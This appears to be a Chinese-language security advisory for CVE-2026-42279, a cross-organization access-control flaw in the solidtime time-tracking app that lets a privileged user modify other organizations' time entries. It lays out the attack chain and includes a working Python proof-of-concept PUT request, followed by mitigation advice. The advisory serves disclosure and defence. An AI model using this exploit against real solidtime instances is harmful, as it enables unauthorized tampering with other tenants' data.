IPBUF安全漏洞报告
English
CVE-2026-42279 CVSS 5.8 中危

CVE-2026-42279 solidtime 跨组织时间记录篡改漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42279
漏洞类型
访问控制失效
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
solidtime

相关标签

IDOR访问控制失效solidtime逻辑漏洞API安全

漏洞概述

solidtime 是一个开源的时间追踪应用。在其 0.12.0 版本中,存在一个严重的访问控制逻辑缺陷。攻击者若在当前组织中拥有 `time-entries:update:all` 权限,即可利用 PUT API 修改属于其他组织的时间记录。该漏洞允许攻击者通过已知的外部时间条目 UUID,将其内容修改并重新绑定到自己的组织资源中,严重破坏了多租户环境下的数据隔离与完整性。官方已在 0.12.1 版本中修复此问题。

技术细节

该漏洞源于 `PUT /api/v1/organizations/{organization}/time-entries/{timeEntry}` 接口缺乏严格的资源归属校验。在受影响版本中,尽管请求路径指定了攻击者所在的 `{organization}`,但后端逻辑允许传入属于其他组织的 `{timeEntry}` UUID。当攻击者拥有高权限(`time-entries:update:all`)时,系统仅验证了调用者在当前组织的权限,而未验证目标 UUID 是否属于当前组织。攻击者可构造恶意的 PUT 请求,将受害者的时间记录 ID 放入路径,并在请求体中将其关联 ID(如 project_id)修改为攻击者组织下的 ID,从而实现跨组织的数据篡改和资源窃取。

攻击链分析

STEP 1
信息收集
攻击者枚举或获取到其他组织(受害者)的有效时间记录 UUID (timeEntry ID)。
STEP 2
权限获取
攻击者注册并登录自己的 solidtime 账户,确保该账户在当前组织中拥有 `time-entries:update:all` 权限。
STEP 3
漏洞利用
攻击者构造 PUT 请求,URL 路径中包含攻击者的组织 ID 和受害者的 timeEntry ID,并在请求体中将资源绑定到攻击者的项目 ID。
STEP 4
数据篡改
服务器接受请求,将受害者的时间记录修改并关联到攻击者的组织下,导致数据完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://target-solidtime-instance.com" ATTACKER_ORG_ID = "org-attacker-uuid" ATTACKER_TOKEN = "attacker-api-token-with-high-privileges" VICTIM_TIME_ENTRY_ID = "time-entry-victim-uuid" # Known UUID from another org ATTACKER_PROJECT_ID = "project-attacker-uuid" # Exploit: Modify victim's time entry to bind to attacker's project url = f"{TARGET_URL}/api/v1/organizations/{ATTACKER_ORG_ID}/time-entries/{VICTIM_TIME_ENTRY_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json", "Accept": "application/json" } # Payload to rebind the foreign time entry payload = { "project_id": ATTACKER_PROJECT_ID, "description": "This entry has been stolen and modified." } response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Time entry modified.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}")

影响范围

solidtime < 0.12.1
solidtime 0.12.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员审查 API 日志,查找是否存在针对不同组织 ID 的异常 PUT 请求,并暂时撤销非必要用户的 `time-entries:update:all` 权限,直到完成补丁更新。

参考链接